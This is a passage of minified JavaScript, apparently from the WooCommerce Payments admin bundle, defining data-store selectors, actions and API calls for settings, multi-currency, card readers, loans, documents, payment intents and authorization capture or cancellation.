status","woocommerce-payments"),(0,j._x)("Is","dispute status","woocommerce-payments"),(0,j._x)("Is not","dispute status","woocommerce-payments");const bi={SET_SETTINGS:"SET_SETTINGS",SET_SETTINGS_VALUES:"SET_SETTINGS_VALUES",SET_IS_SAVING_SETTINGS:"SET_IS_SAVING_SETTINGS",SET_SELECTED_PAYMENT_METHOD:"SET_SELECTED_PAYMENT_METHOD",SET_UNSELECTED_PAYMENT_METHOD:"SET_UNSELECTED_PAYMENT_METHOD"},Ei={isSaving:!1,savingError:null,data:{}};const vi={},wi=[],Si=e=>e&&e.settings||vi,Ti=e=>Si(e).data||vi,Ri=e=>Ti(e).account_business_support_address||vi,Oi=e=>Ti(e).is_wcpay_enabled||!1,Ci=e=>Ti(e).is_client_secret_encryption_enabled||!1,Ai=e=>Ti(e).enabled_payment_method_ids||wi,Ni=e=>Ti(e).available_payment_method_ids||wi,Ii=e=>Ti(e).payment_method_statuses||wi,ki=e=>Si(e).isSaving||!1,xi=e=>Ti(e).account_statement_descriptor||"",Di=e=>Ti(e).account_business_name||"",Pi=e=>Ti(e).account_business_url||"",Mi=e=>Ti(e).account_business_support_address||"",Fi=e=>Ri(e).country||"",Li=e=>Ri(e).line1||"",Ui=e=>Ri(e).line2||"",Bi=e=>Ri(e).city||"",$i=e=>Ri(e).state||"",zi=e=>Ri(e).postal_code||"",ji=e=>Ti(e).account_business_support_email||"",Yi=e=>Ti(e).account_business_support_phone||"",Hi=e=>Ti(e).account_branding_logo||"",Vi=e=>Ti(e).account_domestic_currency||"",Wi=e=>Ti(e).deposit_schedule_interval||"",qi=e=>Ti(e).deposit_schedule_weekly_anchor||"",Gi=e=>Ti(e).deposit_schedule_monthly_anchor||"",Qi=e=>Ti(e).deposit_delay_days||"7",Zi=e=>Ti(e).deposit_completed_waiting_period||!1,Ki=e=>Ti(e).deposit_status||"",Xi=e=>Ti(e).deposit_restrictions||"",Ji=e=>Ti(e).is_manual_capture_enabled||!1,es=e=>Ti(e).is_test_mode_enabled||!1,ts=e=>Ti(e).is_dev_mode_enabled||!1,rs=e=>Ti(e).is_payment_request_enabled||!1,ns=e=>Ti(e).is_debug_log_enabled||!1,os=e=>Ti(e).is_multi_currency_enabled||!1,as=e=>Ti(e).payment_request_enabled_locations||wi,is=e=>Ti(e).payment_request_button_type||"",ss=e=>Ti(e).payment_request_button_size||"",cs=e=>Ti(e).payment_request_button_theme||"",ls=e=>Ti(e).is_saved_cards_enabled||!1,us=e=>Si(e).savingError,ds=e=>Ti(e).is_card_present_eligible||!1,ms=e=>Ti(e).is_wcpay_subscriptions_enabled||!1,ps=e=>Ti(e).is_wcpay_subscriptions_eligible||!1,ys=e=>Ti(e).is_subscriptions_plugin_active||!1,fs=e=>Ti(e).is_woopay_enabled||!1,_s=e=>Ti(e).woopay_custom_message||"",hs=e=>Ti(e).woopay_store_logo||"",gs=e=>Ti(e).woopay_enabled_locations||wi,bs=e=>Ti(e).current_protection_level||"basic",Es=e=>Ti(e).advanced_fraud_protection_settings||wi,vs=e=>Ti(e).show_woopay_incompatibility_notice||!1;function ws(e){return{type:bi.SET_SETTINGS_VALUES,payload:e}}function Ss(e){return ws({is_saved_cards_enabled:e})}function Ts(e){return ws({is_card_present_eligible:e})}function Rs(e){return ws({is_client_secret_encryption_enabled:e})}function Os(e){return ws({payment_request_button_type:e})}function Cs(e){return ws({payment_request_button_size:e})}function As(e){return ws({payment_request_button_theme:e})}function Ns(e){return{type:bi.SET_SETTINGS,data:e}}function Is(e){return ws({is_wcpay_enabled:e})}function ks(e){return ws({is_payment_request_enabled:e})}function xs(e){return ws({enabled_payment_method_ids:[...e]})}function Ds(e){return ws({available_payment_method_ids:[...e]})}function Ps(e,t){return{type:bi.SET_IS_SAVING_SETTINGS,isSaving:e,error:t}}function Ms(e){return{type:bi.SET_SELECTED_PAYMENT_METHOD,id:e}}function Fs(e){return{type:bi.SET_UNSELECTED_PAYMENT_METHOD,id:e}}function Ls(e){return ws({is_manual_capture_enabled:e})}function Us(e){return ws({is_test_mode_enabled:e})}function Bs(e){return ws({is_debug_log_enabled:e})}function $s(e){return ws({is_multi_currency_enabled:e})}function zs(e){return ws({is_wcpay_subscriptions_enabled:e})}function js(e){return ws({account_statement_descriptor:e})}function Ys(e){return ws({account_business_name:e})}function Hs(e){return ws({account_business_url:e})}function Vs(e){return ws({account_business_support_address:e})}function Ws(e){return ws({account_business_support_email:e})}function qs(e){return ws({account_business_support_phone:e})}function Gs(e){return ws({account_branding_logo:e})}function Qs(e){return ws({deposit_schedule_interval:e})}function Zs(e){return ws({deposit_schedule_weekly_anchor:e})}function Ks(e){return ws({deposit_schedule_monthly_anchor:""===e?null:parseInt(e,10)})}function*Xs(){let e=null;try{const e=(0,oo.select)(so).getSettings();yield Ps(!0,null),yield(0,ao.apiFetch)({path:`${io}/settings`,method:"post",data:e}),yield(0,oo.dispatch)("core/notices").createSuccessNotice((0,j.__)("Settings saved.","woocommerce-payments"))}catch(t){e=t,yield(0,oo.dispatch)("core/notices").createErrorNotice((0,j.__)("Error saving settings.","woocommerce-payments"))}finally{yield Ps(!1,e)}return null===e}function Js(e){return ws({payment_request_enabled_locations:[...e]})}function ec(e){return ws({is_woopay_enabled:e})}function tc(e){return ws({woopay_custom_message:e})}function rc(e){return ws({woopay_store_logo:e})}function nc(e){return ws({woopay_enabled_locations:[...e]})}function oc(e){return ws({current_protection_level:e})}function ac(e){return ws({advanced_fraud_protection_settings:e})}function*ic(){const e=`${io}/settings`;try{const t=yield(0,ao.apiFetch)({path:e});yield Ns(t)}catch(e){yield(0,oo.dispatch)("core/notices").createErrorNotice((0,j.__)("Error retrieving settings.","woocommerce-payments"))}}const sc={SET_CURRENCIES:"SET_CURRENCIES",SET_AVAILABLE_CURRENCIES:"SET_AVAILABLE_CURRENCIES",SET_ENABLED_CURRENCIES:"SET_ENABLED_CURRENCIES",SET_DEFAULT_CURRENCY:"SET_DEFAULT_CURRENCY",SET_CURRENCY_SETTINGS:"SET_CURRENCY_SETTINGS",SET_STORE_SETTINGS:"SET_STORE_SETTINGS"},cc={},lc=e=>e&&e.multiCurrency||{},uc=e=>lc(e).currencies||{},dc=e=>uc(e).available||{},mc=e=>uc(e).enabled||{},pc=e=>uc(e).default||{},yc=e=>lc(e).currency_settings||{},fc=e=>lc(e).settings||{};function _c(e){return{type:sc.SET_CURRENCIES,data:e}}function hc(e){return{type:sc.SET_AVAILABLE_CURRENCIES,data:e}}function gc(e){return{type:sc.SET_ENABLED_CURRENCIES,data:e}}function bc(e){return{type:sc.SET_DEFAULT_CURRENCY,data:e}}function Ec(e,t){return{type:sc.SET_CURRENCY_SETTINGS,data:{code:e,data:t}}}function vc(e){return{type:sc.SET_STORE_SETTINGS,data:e}}function*Sc(e){const t=Object.keys((0,oo.select)(so).getEnabledCurrencies()),r=e.filter((e=>!t.includes(e))),n=t.filter((t=>!e.includes(t)));try{const t=yield(0,ao.apiFetch)({path:`${io}/multi-currency/update-enabled-currencies`,method:"POST",data:{enabled:e}});yield _c(t),yield(0,oo.dispatch)("core/notices").createSuccessNotice((0,j.__)("Enabled currencies updated.","woocommerce-payments")),ai.recordEvent(ai.events.MULTI_CURRENCY_ENABLED_CURRENCIES_UPDATED,{added_currencies:r,removed_currencies:n})}catch(e){yield(0,oo.dispatch)("core/notices").createErrorNotice((0,j.__)("Error updating enabled currencies.","woocommerce-payments"))}}function*Tc(e,t){try{const r=yield(0,ao.apiFetch)({path:`${io}/multi-currency/currencies/${e}`,method:"POST",data:t});yield Ec(e,r),yield(0,oo.dispatch)("core/notices").createSuccessNotice((0,j.__)("Currency settings updated.","woocommerce-payments"))}catch(e){yield(0,oo.dispatch)("core/notices").createErrorNotice((0,j.__)("Error updating currency settings.","woocommerce-payments"))}}function*Rc(e,t){try{const r=yield(0,ao.apiFetch)({path:`${io}/multi-currency/update-settings`,method:"POST",data:{wcpay_multi_currency_enable_auto_currency:e?"yes":"no",wcpay_multi_currency_enable_storefront_switcher:t?"yes":"no"}});yield vc(r),yield(0,oo.dispatch)("core/notices").createSuccessNotice((0,j.__)("Store settings saved.","woocommerce-payments"))}catch(e){yield(0,oo.dispatch)("core/notices").createErrorNotice((0,j.__)("Error saving store settings.","woocommerce-payments"))}}function*Oc(){const e=`${io}/multi-currency/currencies`;try{const t=yield(0,ao.apiFetch)({path:e});yield _c(t)}catch(e){yield(0,oo.dispatch)("core/notices").createErrorNotice((0,j.__)("Error retrieving currencies.","woocommerce-payments"))}}function*Cc(e){const t=`${io}/multi-currency/currencies/${e}`;try{const r=yield(0,ao.apiFetch)({path:t});yield Ec(e,r)}catch(e){yield(0,oo.dispatch)("core/notices").createErrorNotice((0,j.__)("Error retrieving single currency settings.","woocommerce-payments"))}}function*Ac(){const e=`${io}/multi-currency/get-settings`;try{const t=yield(0,ao.apiFetch)({path:e});yield vc(t)}catch(e){yield(0,oo.dispatch)("core/notices").createErrorNotice((0,j.__)("Error retrieving store settings.","woocommerce-payments"))}}const Nc=()=>(0,oo.useSelect)((e=>{const{getCurrencies:t,isResolving:r}=e(so);return"1"!==wcpaySettings.isMultiCurrencyEnabled?{currencies:{},isLoading:!1}:{currencies:t(),isLoading:r("getCurrencies",[])}}),[]),Ic=()=>{const e=(0,oo.useSelect)((e=>{const{getEnabledCurrencies:t}=e(so);return t()})),{submitEnabledCurrenciesUpdate:t}=(0,oo.useDispatch)(so);return{enabledCurrencies:e,submitEnabledCurrenciesUpdate:t}},kc=()=>{const{storeSettings:e,isLoading:t}=(0,oo.useSelect)((e=>{const{getStoreSettings:t,isResolving:r}=e(so);return{storeSettings:t(),isLoading:r("getStoreSettings",[])}})),{submitStoreSettingsUpdate:r}=(0,oo.useDispatch)(so);return{storeSettings:e,isLoading:t,submitStoreSettingsUpdate:r}},xc=()=>(0,oo.useSelect)((e=>{const{getDefaultCurrency:t}=e(so);return t()})),Dc={SET_CARD_READER_STATS:"SET_CARD_READER_STATS",SET_ERROR_FOR_CARD_READER_STATS:"SET_ERROR_FOR_CARD_READER_STATS",SET_READERS:"SET_READERS",SET_ERROR_FOR_CARD_READERS:"SET_ERROR_FOR_CARD_READERS"},Pc=(e,t)=>e.readers[t]&&e.readers[t].data?e.readers[t].data:{},Mc=(e,t)=>e.readers[t]&&e.readers[t].error?e.readers[t].error:{},Fc=e=>e.readers&&e.readers.list?e.readers.list:{};function Lc(e,t){return{type:Dc.SET_CARD_READER_STATS,id:e,data:t}}function Uc(e,t){return{type:Dc.SET_READERS,query:e,data:t}}function Bc(e,t,r){return{type:Dc.SET_CARD_ERROR_FOR_READER_STATS,id:e,data:t,error:r}}function $c(e,t){return{type:Dc.SET_CARD_ERROR_FOR_READERS,data:e,error:t}}function*zc(e,t){try{const r=yield(0,ao.apiFetch)({path:`${io}/readers/charges/${t}`});yield Lc(e,r)}catch(t){yield Bc(e,null,t)}}function*jc(e){const t=(0,xo.addQueryArgs)(`${io}/readers`,{limit:e.limit});try{const r=yield(0,ao.apiFetch)({path:t})||{};yield Uc(e,r)}catch(e){yield $c(null,e)}}var Yc;!function(e){e.SET_ACTIVE_LOAN_SUMMARY="SET_ACTIVE_LOAN_SUMMARY",e.SET_ERROR_FOR_ACTIVE_LOAN_SUMMARY="SET_ERROR_FOR_ACTIVE_LOAN_SUMMARY",e.SET_LOANS="SET_LOANS",e.SET_ERROR_FOR_LOANS="SET_ERROR_FOR_LOANS"}(Yc||(Yc={}));const Hc=Yc;var Vc=function(){return Vc=Object.assign||function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var o in t=arguments[r])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},Vc.apply(this,arguments)},Wc={};var qc=function(e){return e&&e.capital||{}},Gc=function(e){return qc(e).summary},Qc=function(e){return qc(e).summaryError},Zc=function(e){return qc(e).loans||[]},Kc=function(e){return qc(e).loansError};function Xc(e){return{type:Hc.SET_ACTIVE_LOAN_SUMMARY,data:e}}function Jc(e){return{type:Hc.SET_ERROR_FOR_ACTIVE_LOAN_SUMMARY,error:e}}function el(e){return{type:Hc.SET_LOANS,data:e.data}}function tl(e){return{type:Hc.SET_ERROR_FOR_LOANS,error:e}}var rl=function(e,t){var r,n,o,a,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return a={next:s(0),throw:s(1),return:s(2)},"function"==typeof Symbol&&(a[Symbol.iterator]=function(){return this}),a;function s(a){return function(s){return function(a){if(r)throw new TypeError("Generator is already executing.");for(;i;)try{if(r=1,n&&(o=2&a[0]?n.return:a[0]?n.throw||((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,a[1])).done)return o;switch(n=0,o&&(a=[2&a[0],o.value]),a[0]){case 0:case 1:o=a;break;case 4:return i.label++,{value:a[1],done:!1};case 5:i.label++,n=a[1],a=[0];continue;case 7:a=i.ops.pop(),i.trys.pop();continue;default:if(!((o=(o=i.trys).length>0&&o[o.length-1])||6!==a[0]&&2!==a[0])){i=0;continue}if(3===a[0]&&(!o||a[1]>o[0]&&a[1]<o[3])){i.label=a[1];break}if(6===a[0]&&i.label<o[1]){i.label=o[1],o=a;break}if(o&&i.label<o[2]){i.label=o[2],i.ops.push(a);break}o[2]&&i.ops.pop(),i.trys.pop();continue}a=t.call(e,i)}catch(e){a=[6,e],n=0}finally{r=o=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,s])}}};function nl(){var e,t;return rl(this,(function(r){switch(r.label){case 0:e=io+"/capital/active_loan_summary",r.label=1;case 1:return r.trys.push([1,4,,7]),[4,(0,ao.apiFetch)({path:e})];case 2:return[4,Xc(r.sent())];case 3:return r.sent(),[3,7];case 4:return t=r.sent(),[4,oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving the active loan summary.","woocommerce-payments"))];case 5:return r.sent(),[4,Jc(t)];case 6:return r.sent(),[3,7];case 7:return[2]}}))}function ol(){var e,t;return rl(this,(function(r){switch(r.label){case 0:e=io+"/capital/loans",r.label=1;case 1:return r.trys.push([1,4,,7]),[4,(0,ao.apiFetch)({path:e})];case 2:return[4,el(r.sent())];case 3:return r.sent(),[3,7];case 4:return t=r.sent(),[4,oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving the active loan summary.","woocommerce-payments"))];case 5:return r.sent(),[4,tl(t)];case 6:return r.sent(),[3,7];case 7:return[2]}}))}const al={SET_DOCUMENTS:"SET_DOCUMENTS",SET_ERROR_FOR_DOCUMENTS:"SET_ERROR_FOR_DOCUMENTS",SET_DOCUMENTS_SUMMARY:"SET_DOCUMENTS_SUMMARY",SET_ERROR_FOR_DOCUMENTS_SUMMARY:"SET_ERROR_FOR_DOCUMENTS_SUMMARY"},il={summary:{}},sl=e=>e&&e.documents||{},cl=(e,t)=>{const r=lo(t);return sl(e)[r]||{}},ll=(e,t)=>cl(e,t).data||[],ul=(e,t)=>cl(e,t).error||{},dl=(e,t)=>{const r=lo(t);return sl(e).summary[r]||{}},ml=(e,t)=>dl(e,t).data||{},pl=(e,t)=>dl(e,t).error||{};function yl(e,t){return{type:al.SET_DOCUMENTS,query:e,data:t}}function fl(e,t,r){return{type:al.SET_ERROR_FOR_DOCUMENTS,query:e,data:t,error:r}}function _l(e,t){return{type:al.SET_DOCUMENTS_SUMMARY,query:e,data:t}}function hl(e,t,r){return{type:al.SET_ERROR_FOR_DOCUMENTS_SUMMARY,query:e,data:t,error:r}}const gl=e=>({user_email:e.userEmail,match:e.match,date_before:Lo(e.dateBefore,!0),date_after:Lo(e.dateAfter),date_between:e.dateBetween&&[Lo(e.dateBetween[0]),Lo(e.dateBetween[1],!0)],type_is:e.typeIs,type_is_not:e.typeIsNot});function*bl(e){const t=(0,xo.addQueryArgs)(`${io}/documents`,{page:e.paged,pagesize:e.perPage,sort:e.orderby,direction:e.order,...gl(e)});try{const r=yield(0,ao.apiFetch)({path:t});yield yl(e,r.data||[])}catch(t){yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving documents.","woocommerce-payments")),yield fl(e,null,t)}}function*El(e){const t=(0,xo.addQueryArgs)(`${io}/documents/summary`,gl(e));try{const r=yield(0,ao.apiFetch)({path:t});yield _l(e,r)}catch(t){yield hl(e,null,t)}}var vl;!function(e){e.SET_PAYMENT_INTENT="SET_PAYMENT_INTENT",e.SET_ERROR_FOR_PAYMENT_INTENT="SET_ERROR_FOR_PAYMENT_INTENT"}(vl||(vl={}));const wl=vl;var Sl=function(){return Sl=Object.assign||function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var o in t=arguments[r])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},Sl.apply(this,arguments)},Tl={};var Rl=function(e,t){var r=e.paymentIntents,n=null==r?void 0:r[t];return(null==n?void 0:n.data)||{}},Ol=function(e,t){var r=e.paymentIntents,n=null==r?void 0:r[t];return(null==n?void 0:n.error)||{}};function Cl(e,t){return{type:wl.SET_PAYMENT_INTENT,id:e,data:t}}function Al(e,t){return{type:wl.SET_ERROR_FOR_PAYMENT_INTENT,id:e,error:t}}var Nl=function(e,t){var r,n,o,a,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return a={next:s(0),throw:s(1),return:s(2)},"function"==typeof Symbol&&(a[Symbol.iterator]=function(){return this}),a;function s(a){return function(s){return function(a){if(r)throw new TypeError("Generator is already executing.");for(;i;)try{if(r=1,n&&(o=2&a[0]?n.return:a[0]?n.throw||((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,a[1])).done)return o;switch(n=0,o&&(a=[2&a[0],o.value]),a[0]){case 0:case 1:o=a;break;case 4:return i.label++,{value:a[1],done:!1};case 5:i.label++,n=a[1],a=[0];continue;case 7:a=i.ops.pop(),i.trys.pop();continue;default:if(!((o=(o=i.trys).length>0&&o[o.length-1])||6!==a[0]&&2!==a[0])){i=0;continue}if(3===a[0]&&(!o||a[1]>o[0]&&a[1]<o[3])){i.label=a[1];break}if(6===a[0]&&i.label<o[1]){i.label=o[1],o=a;break}if(o&&i.label<o[2]){i.label=o[2],i.ops.push(a);break}o[2]&&i.ops.pop(),i.trys.pop();continue}a=t.call(e,i)}catch(e){a=[6,e],n=0}finally{r=o=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,s])}}};function Il(e){var t,r;return Nl(this,(function(n){switch(n.label){case 0:return n.trys.push([0,3,,6]),[4,(0,ao.apiFetch)({path:io+"/payment_intents/"+e})];case 1:return t=n.sent(),[4,Cl(e,t)];case 2:case 5:return n.sent(),[3,6];case 3:return r=n.sent(),[4,oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving transaction.","woocommerce-payments"))];case 4:return n.sent(),[4,Al(e,r)];case 6:return[2]}}))}const kl={SET_AUTHORIZATIONS:"SET_AUTHORIZATIONS",SET_AUTHORIZATION:"SET_AUTHORIZATION",SET_ERROR_FOR_AUTHORIZATIONS:"SET_ERROR_FOR_AUTHORIZATIONS",SET_AUTHORIZATIONS_SUMMARY:"SET_AUTHORIZATIONS_SUMMARY",SET_ERROR_FOR_AUTHORIZATIONS_SUMMARY:"SET_ERROR_FOR_AUTHORIZATIONS_SUMMARY",SET_IS_REQUESTING_AUTHORIZATION:"SET_IS_REQUESTING_AUTHORIZATION"};var xl=function(){return xl=Object.assign||function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var o in t=arguments[r])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},xl.apply(this,arguments)},Dl={summary:{},byId:{},isRequesting:!1};var Pl=function(e){return e&&e.authorizations||{}},Ml=function(e,t){var r=lo(t);return Pl(e)[r]||{}},Fl=function(e,t){return Ml(e,t).data||[]},Ll=function(e,t){return(Pl(e).byId||{})[t]},Ul=function(e,t){return Ml(e,t).error||{}},Bl=function(e,t){var r=lo(t);return Pl(e).summary[r]||{}},$l=function(e,t){return Bl(e,t).data||{}},zl=function(e,t){return Bl(e,t).error||{}},jl=function(e){return Pl(e).isRequesting},Yl=function(e,t){var r,n,o,a,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return a={next:s(0),throw:s(1),return:s(2)},"function"==typeof Symbol&&(a[Symbol.iterator]=function(){return this}),a;function s(a){return function(s){return function(a){if(r)throw new TypeError("Generator is already executing.");for(;i;)try{if(r=1,n&&(o=2&a[0]?n.return:a[0]?n.throw||((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,a[1])).done)return o;switch(n=0,o&&(a=[2&a[0],o.value]),a[0]){case 0:case 1:o=a;break;case 4:return i.label++,{value:a[1],done:!1};case 5:i.label++,n=a[1],a=[0];continue;case 7:a=i.ops.pop(),i.trys.pop();continue;default:if(!((o=(o=i.trys).length>0&&o[o.length-1])||6!==a[0]&&2!==a[0])){i=0;continue}if(3===a[0]&&(!o||a[1]>o[0]&&a[1]<o[3])){i.label=a[1];break}if(6===a[0]&&i.label<o[1]){i.label=o[1],o=a;break}if(o&&i.label<o[2]){i.label=o[2],i.ops.push(a);break}o[2]&&i.ops.pop(),i.trys.pop();continue}a=t.call(e,i)}catch(e){a=[6,e],n=0}finally{r=o=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,s])}}};function Hl(e,t){return{type:kl.SET_AUTHORIZATIONS,data:t,query:e}}function Vl(e,t){return{type:kl.SET_ERROR_FOR_AUTHORIZATIONS,query:e,error:t}}function Wl(e){return{type:kl.SET_AUTHORIZATION,data:e}}function ql(e,t){return{type:kl.SET_AUTHORIZATIONS_SUMMARY,data:t,query:e}}function Gl(e){return{type:kl.SET_IS_REQUESTING_AUTHORIZATION,data:e}}function Ql(e,t){var r;return Yl(this,(function(n){switch(n.label){case 0:return n.trys.push([0,12,14,17]),[4,oo.controls.dispatch(so,"startResolution","getAuthorization",[e])];case 1:return n.sent(),[4,oo.controls.dispatch(so,"setIsRequestingAuthorization",!0)];case 2:return n.sent(),[4,(0,ao.apiFetch)({path:"/wc/v3/payments/orders/"+t+"/capture_authorization",method:"post",data:{payment_intent_id:e}})];case 3:return[4,Wl({payment_intent_id:(r=n.sent()).id,captured:"succeeded"===r.status})];case 4:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getAuthorizations")];case 5:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getAuthorizationsSummary")];case 6:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getFraudOutcomeTransactions")];case 7:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getFraudOutcomeTransactionsSummary")];case 8:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getTimeline")];case 9:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getPaymentIntent")];case 10:return n.sent(),[4,oo.controls.dispatch("core/notices","createSuccessNotice",(0,j.sprintf)((0,j.__)("Payment for order #%s captured successfully.","woocommerce-payments"),t))];case 11:case 13:return n.sent(),[3,17];case 12:return n.sent(),[4,oo.controls.dispatch("core/notices","createErrorNotice",(0,j.sprintf)((0,j.__)("There has been an error capturing the payment for order #%s. Please try again later.","woocommerce-payments"),t))];case 14:return[4,oo.controls.dispatch(so,"finishResolution","getAuthorization",[e])];case 15:return n.sent(),[4,oo.controls.dispatch(so,"setIsRequestingAuthorization",!1)];case 16:return n.sent(),[7];case 17:return[2]}}))}function Zl(e,t){var r;return Yl(this,(function(n){switch(n.label){case 0:return n.trys.push([0,12,14,17]),[4,oo.controls.dispatch(so,"startResolution","getAuthorization",[e])];case 1:return n.sent(),[4,oo.controls.dispatch(so,"setIsRequestingAuthorization",!0)];case 2:return n.sent(),[4,(0,ao.apiFetch)({path:"/wc/v3/payments/orders/"+t+"/cancel_authorization",method:"post",data:{payment_intent_id:e}})];case 3:return[4,Wl({payment_intent_id:(r=n.sent()).id,captured:"succeeded"===r.status})];case 4:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getAuthorizations")];case 5:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getAuthorizationsSummary")];case 6:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getFraudOutcomeTransactions")];case 7:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getFraudOutcomeTransactionsSummary")];case 8:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getTimeline")];case 9:return n.sent(),[4,oo.controls.dispatch(so,"invalidateResolutionForStoreSelector","getPaymentIntent")];case 10:return n.sent(),[4,oo.controls.dispatch("core/notices","createSuccessNotice",(0,j.sprintf)((0,j.__)("Payment for order #%s canceled successfully.","woocommerce-payments"),t))];case 11:case 13:return n.sent(),[3,17];case 12:return n.sent(),[4,oo.controls.dispatch("core/notices","createErrorNotice",(0,j.sprintf)((0,j.__)("There has been an error canceling the payment for order #%s. Please try again later.","woocommerce-payments"),t))];case 14:return[4,oo.controls.dispatch(so,"finishResolution","getAuthorization",[e])];case 15:return n.sent(),[4,oo.controls.dispatch(so,"setIsRequestingAuthorization",!1)];case 16:return n.sent(),[7];case 17:return[2]}}))}function Kl(e,t){return{type:kl.SET_ERROR_FOR_AUTHORIZATIONS_SUMMARY,query:e,error:t}}var Xl=function(e,t){var r,n,o,a,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return a={next:s(0),throw:s(1),return:s(2)},"function"==typeof Symbol&&(a[Symbol.iterator]=function(){return this}),a;function s(a){return function(s){return function(a){if(r)throw new TypeError("Generator is already executing.");for(;i;)try{if(r=1,n&&(o=2&a[0]?n.return:a[0]?n.throw||((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,a[1])).done)return o;switch(n=0,o&&(a=[2&a[0],o.value]),a[0]){case 0:case 1:o=a;break;case 4:return i.label++,{value:a[1],done:!1};case 5:i.label++,n=a[1],a=[0];continue;case 7:a=i.ops.pop(),i.trys.pop();continue;default:if(!((o=(o=i.trys).length>0&&o[o.length-1])||6!==a[0]&&2!==a[0])){i=0;continue}if(3===a[0]&&(!o||a[1]>o[0]&&a[1]<o[3])){i.label=a[1];break}if(6===a[0]&&i.label<o[1]){i.label=o[1],o=a;break}if(o&&i.label<o[2]){i.label=o[2],i.ops.push(a);break}o[2]&&i.ops.pop(),i.trys.pop();continue}a=t.call(e,i)}catch(e){a=[6,e],n=0}finally{r=o=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,s])}}};function Jl(e){var t,r,n,o,a,i,s,c,l,u,d,m;return Xl(this,(function(p){switch(p.label){case 0:t=e.paged,r=void 0===t?1:t,n=e.per_page,o=void 0===n?25:n,a=e.orderby,i=void 0===a?"created":a,s=e.order,c=void 0===s?"asc":s,"capture_by"===i&&(i="created"),l=(0,xo.addQueryArgs)(io+"/authorizations",{page:r,pagesize:o,sort:i,direction:c}),p.label=1;case 1:return p.trys.push([1,4,,7]),[4,(0,ao.apiFetch)({path:l})];case 2:return u=p.sent(),[4,Hl(e,null!==(m=u.data)&&void 0!==m?m:[])];case 3:return p.sent(),[3,7];case 4:return d=p.sent(),[4,oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving uncaptured transactions.","woocommerce-payments"))];case 5:return p.sent(),[4,Vl(e,d)];case 6:return p.sent(),[3,7];case 7:return[2]}}))}function eu(e){var t,r,n,o,a;return Xl(this,(function(i){switch(i.label){case 0:return i.trys.push([0,4,,7]),e?[4,(0,ao.apiFetch)({path:io+"/authorizations/"+e})]:[3,3];case 1:return t=i.sent(),n=(r=t).is_captured,o=r.payment_intent_id,a=r.created,[4,Wl({payment_intent_id:o,captured:n,created:a})];case 2:i.sent(),i.label=3;case 3:return[3,7];case 4:return"authorization_missing"===i.sent().code?[3,6]:[4,oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving authorization.","woocommerce-payments"))];case 5:i.sent(),i.label=6;case 6:return[3,7];case 7:return[2]}}))}function tu(e){var t,r,n;return Xl(this,(function(o){switch(o.label){case 0:t=(0,xo.addQueryArgs)(io+"/authorizations/summary",{pagesize:e.per_page,sort:e.orderby,direction:e.order,page:e.paged}),o.label=1;case 1:return o.trys.push([1,4,,7]),[4,(0,ao.apiFetch)({path:t})];case 2:return r=o.sent(),[4,ql(e,null!=r?r:[])];case 3:return o.sent(),[3,7];case 4:return n=o.sent(),[4,oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving uncaptured transactions.","woocommerce-payments"))];case 5:return o.sent(),[4,Kl(e,n)];case 6:return o.sent(),[3,7];case 7:return[2]}}))}(0,oo.registerStore)(so,{reducer:(0,oo.combineReducers)({deposits:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:uo,{type:t,query:r={},data:n=[],error:o}=arguments.length>1?arguments[1]:void 0;const a=lo(r);switch(t){case co.SET_DEPOSIT:return{...e,byId:{...e.byId,[n.id]:n}};case co.SET_DEPOSITS_OVERVIEW:return{...e,overview:{...e.overview,data:n}};case co.SET_ERROR_FOR_DEPOSITS_OVERVIEW:return{...e,overview:{...e.overview,error:o}};case co.SET_ALL_DEPOSITS_OVERVIEWS:return{...e,overviews:{...e.overviews,data:n}};case co.SET_ERROR_FOR_ALL_DEPOSITS_OVERVIEWS:return{...e,overviews:{...e.overviews,error:o}};case co.SET_DEPOSITS:return{...e,byId:{...e.byId,...(0,it.keyBy)(n,"id")},queries:{...e.queries,[a]:{data:(0,it.map)(n,"id")}}};case co.SET_DEPOSITS_COUNT:return{...e,count:n};case 